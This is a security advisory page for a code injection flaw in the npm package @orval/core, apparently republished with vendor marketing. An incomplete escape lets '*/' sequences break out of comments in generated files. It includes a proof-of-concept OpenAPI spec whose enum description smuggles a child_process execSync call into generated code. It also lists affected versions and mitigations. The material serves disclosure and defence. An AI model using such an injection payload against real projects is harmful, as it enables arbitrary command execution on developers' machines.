GHSA-gch2-phqh-fg9q
Orval has Code Injection via unsanitized x-enum-descriptions using JS comments
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
@orval/core📦@orval/coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
CVE-2026-23947 had an incomplete fix
While the current jsStringEscape function properly handles single quotes ('), double quotes (") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.
Example:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
# "pwned */ }; import('child_process').then(cp => cp.execSync('touch pwned')); const a = { /*"
- "pwned */ }; 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const a = { /*"
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @orval/core | ≥ 7.19.0&&< 7.21.0 | 7.21.0 |
| 📦npm | @orval/core | ≥ 8.0.0&&< 8.2.0 | 8.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @orval/core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @orval/core to 7.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gch2-phqh-fg9q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gch2-phqh-fg9q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gch2-phqh-fg9q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gch2-phqh-fg9q in your dependencies?
O3 detects GHSA-gch2-phqh-fg9q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.